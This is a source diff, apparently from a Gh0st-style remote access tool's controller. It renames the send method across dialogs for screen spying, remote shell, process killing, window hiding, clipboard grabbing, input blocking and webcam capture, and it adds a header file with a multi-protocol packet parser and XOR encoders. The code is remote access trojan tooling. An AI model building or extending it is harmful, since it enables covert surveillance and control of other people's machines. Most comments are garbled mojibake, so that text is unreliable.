@@ -31,7 +31,7 @@ extern "C" void* x265_api_get_192() { return nullptr; }
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
{
m_pCodec = nullptr;
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
VOID CScreenSpyDlg::SendNext(void)
{
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
bToken[1] = !bIsChecked;
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
break;
}
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
{
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
break;
}
case IDM_SET_CLIPBOARD: //给他
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, Msg, sizeof(MSG64));
szData[length] = 0;
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
m_iocpServer->Send2Client(m_ContextObject, szData, length);
}
BOOL CScreenSpyDlg::SaveSnapshot(void)
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
delete[] szBuffer;
}

View File

@@ -43,7 +43,7 @@ class CScreenSpyDlg : public DialogBase
DECLARE_DYNAMIC(CScreenSpyDlg)
public:
CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
virtual ~CScreenSpyDlg();
VOID SendNext(void);

418
server/2015Remote/Server.h Normal file
View File

@@ -0,0 +1,418 @@
#pragma once
#include "common/commands.h"
#include "common/header.h"
#include "common/encrypt.h"
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "xxhash.h"
#define PACKET_LENGTH 0x2000
std::string GetPeerName(SOCKET sock);
std::string GetRemoteIP(SOCKET sock);
enum
{
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, // <20><>ַ
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, // CPU
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
ONLINELIST_MAX,
};
enum {
PARSER_WINOS = -2,
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
typedef struct PR {
int Result;
bool IsFailed() const {
return PARSER_FAILED == Result;
}
bool IsNeedMore() const {
return PARSER_NEEDMORE == Result;
}
bool IsWinOSLogin() const {
return PARSER_WINOS == Result;
}
}PR;
enum {
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
};
struct CONTEXT_OBJECT;
// Header parser: parse the data to make sure it's from a supported client.
class HeaderParser {
friend struct CONTEXT_OBJECT;
protected:
HeaderParser() {
memset(this, 0, sizeof(HeaderParser));
}
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf, int& compressMethod) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
}
char szPacketFlag[32] = { 0 };
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
HeaderEncType encTyp = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encTyp);
if (flagType == FLAG_UNKNOWN) {
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
int length = *((int*)ptr);
int excepted = buf.GetBufferLength();
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
m_nFlagType = FLAG_WINOS;
compressMethod = COMPRESS_NONE;
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nCompareLen = 0;
m_nFlagLen = 0;
m_nHeaderLen = 14;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new WinOsEncoder();
return PR{ PARSER_WINOS };
}
return PR{ PARSER_FAILED };
}
if (m_bParsed) { // Check if the header has been parsed.
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
}
// More version may be added in the future.
switch (m_nFlagType = flagType)
{
case FLAG_UNKNOWN:
return PR{ PARSER_FAILED };
case FLAG_SHINE:
memcpy(m_szPacketFlag, szPacketFlag, 5);
m_nCompareLen = 5;
m_nFlagLen = m_nCompareLen;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new Encoder();
break;
case FLAG_FUCK:
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 8;
m_nFlagLen = m_nCompareLen + 3;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new XOREncoder();
m_Encoder2 = new Encoder();
break;
case FLAG_HELLO:
// This header is only for handling SOCKET_DLLLOADER command
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = 6;
m_nFlagLen = 8;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
compressMethod = COMPRESS_NONE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
case FLAG_HELL:
// This version
memcpy(m_szPacketFlag, szPacketFlag, 8);
m_nCompareLen = FLAG_COMPLEN;
m_nFlagLen = FLAG_LENGTH;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
m_Encoder2 = new XOREncoder16();
break;
default:
break;
}
return PR{ m_nFlagLen };
}
BOOL IsEncodeHeader() const {
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
}
HeaderParser& Reset() {
SAFE_DELETE(m_Encoder);
SAFE_DELETE(m_Encoder2);
memset(this, 0, sizeof(HeaderParser));
return *this;
}
BOOL IsParsed() const {
return m_bParsed;
}
int GetFlagLen() const {
return m_nFlagLen;
}
int GetHeaderLen() const {
return m_nHeaderLen;
}
const char* GetFlag() const {
return m_szPacketFlag;
}
FlagType GetFlagType() const {
return m_nFlagType;
}
Encoder* GetEncoder() const {
return m_Encoder;
}
Encoder* GetEncoder2() const {
return m_Encoder2;
}
private:
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
};
enum IOType
{
IOInitialize,
IORead,
IOWrite,
IOIdle
};
#define TRACK_OVERLAPPEDPLUS 0
class OVERLAPPEDPLUS
{
public:
OVERLAPPED m_ol;
IOType m_ioType;
OVERLAPPEDPLUS(IOType ioType)
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType;
}
~OVERLAPPEDPLUS()
{
#if TRACK_OVERLAPPEDPLUS
char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
Mprintf(szLog);
#endif
}
};
typedef struct CONTEXT_OBJECT
{
CString sClientInfo[ONLINELIST_MAX];
CString additonalInfo[RES_MAX];
SOCKET sClientSocket;
WSABUF wsaInBuf;
WSABUF wsaOutBuffer;
char szBuffer[PACKET_LENGTH];
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuffer OutCompressedBuffer;
HWND hWnd;
HANDLE hDlg;
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login
std::string PeerName; // <20>Զ<EFBFBD>IP
int addrLen; // for UDP
sockaddr_in clientAddr; // for UDP
VOID InitMember(SOCKET s)
{
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
hWnd = NULL;
hDlg = NULL;
sClientSocket = s;
PeerName = ::GetPeerName(sClientSocket);
memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
for (int i = 0; i < RES_MAX; i++) {
additonalInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD;
Parser.Reset();
bLogin = FALSE;
m_bProxyConnected = FALSE;
clientAddr = {};
addrLen = sizeof(sockaddr_in);
}
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
for (int i = 0; i < ONLINELIST_MAX; i++)
{
sClientInfo[i] = s[i];
}
for (int i = 0; i < a.size(); i++) {
additonalInfo[i] = a[i].c_str();
}
}
PBYTE GetBuffer(int offset) {
return InDeCompressedBuffer.GetBuffer(offset);
}
ULONG GetBufferLength() {
return InDeCompressedBuffer.GetBufferLength();
}
std::string GetPeerName() const {
return PeerName;
}
CString GetClientData(int index) const {
return sClientInfo[index];
}
void GetAdditionalData(CString(&s)[RES_MAX]) const {
for (int i = 0; i < RES_MAX; i++)
{
s[i] = additonalInfo[i];
}
}
void CancelIO() {
SAFE_CANCELIO(sClientSocket);
}
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
}
BYTE GetBYTE(int offset) {
return InDeCompressedBuffer.GetBYTE(offset);
}
// Write compressed buffer.
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
if (Parser.IsParsed()) {
ULONG totalLen = dataLen + Parser.GetHeaderLen();
BYTE szPacketFlag[32] = {};
const int flagLen = Parser.GetFlagLen();
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
if (Parser.IsEncodeHeader())
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
}
else {
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
OutCompressedBuffer.WriteBuffer(data, dataLen);
}
}
// Read compressed buffer.
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen) {
if (Parser.IsParsed()) {
ULONG totalLen = 0;
BYTE szPacketFlag[32] = {};
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
}
else {
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
}
dataLen = totalLen - Parser.GetHeaderLen();
PBYTE CompressedBuffer = new BYTE[dataLen];
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
Decode2(CompressedBuffer, dataLen, szPacketFlag);
return CompressedBuffer;
}
return nullptr;
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf) {
return Parser.Parse(buf, CompressMethod);
}
// Encode data before compress.
void Encode(PBYTE data, int len) const {
Parser.GetEncoder()->Encode((unsigned char*)data, len);
}
// Decode data after uncompress.
void Decode(PBYTE data, int len) const {
Parser.GetEncoder()->Decode((unsigned char*)data, len);
}
// Encode data after compress.
void Encode2(PBYTE data, int len, PBYTE param) const {
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
}
// Decode data before uncompress.
void Decode2(PBYTE data, int len, PBYTE param) const {
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
}
std::string RemoteAddr() const {
sockaddr_in ClientAddr = {};
int ulClientAddrLen = sizeof(sockaddr_in);
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
}
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
uint64_t GetID() const { return ID; }
void SetID(uint64_t id) { ID = id; }
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
class Server
{
public:
Server(){}
virtual ~Server(){}
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
virtual void UpdateMaxConnection(int maxConn){}
virtual void Destroy(){}
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
};

View File

@@ -20,7 +20,7 @@ typedef struct ItemData1
}
} ItemData1;
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
}
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
void CServicesDlg::OnServicesReflash()
{
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
// <20>ͷ<EFBFBD><CDB7><EFBFBD>Դ<EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}

View File

@@ -10,7 +10,7 @@ class CServicesDlg : public DialogBase
DECLARE_DYNAMIC(CServicesDlg)
public:
CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CServicesDlg();
int ShowServicesList(void);

View File

@@ -25,7 +25,7 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) {
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
{
}
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
m_Edit.SetWindowTextA(">>");
m_nCurSel = m_Edit.GetWindowTextLengthA();
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
return TRUE;
}
int length = str.GetLength() - m_nCurSel;
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
}
// <20><><EFBFBD><EFBFBD>VK_BACK

View File

@@ -17,7 +17,7 @@ class CShellDlg : public DialogBase
DECLARE_DYNAMIC(CShellDlg)
public:
CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CShellDlg();
VOID OnReceiveComplete();

View File

@@ -20,7 +20,7 @@ typedef struct ItemData
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
dwOffset += sizeof(DWORD);
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6>в<EFBFBD><D0B2><EFBFBD>COMMAND_KILLPROCESS<53><53><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
Sleep(100);
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
VOID CSystemDlg::GetProcessList(void)
{
BYTE bToken = COMMAND_PSLIST;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
DWORD dHow=SW_HIDE; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}

View File

@@ -9,7 +9,7 @@ class CSystemDlg : public DialogBase
DECLARE_DYNAMIC(CSystemDlg)
public:
CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
CSystemDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CSystemDlg();
VOID GetProcessList(void);

View File

@@ -10,7 +10,7 @@
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
CTalkDlg::CTalkDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME)
{
}
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
m_EditTalk.SetWindowText(NULL);
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
}

View File

@@ -9,7 +9,7 @@ class CTalkDlg : public DialogBase
DECLARE_DYNAMIC(CTalkDlg)
public:
CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CTalkDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -108,7 +108,7 @@ void CVideoDlg::SaveAvi(void)
}
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
{
m_nCount = 0;
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
SetIcon(m_hIcon, TRUE);
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
m_pVideoCodec = NULL;
// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
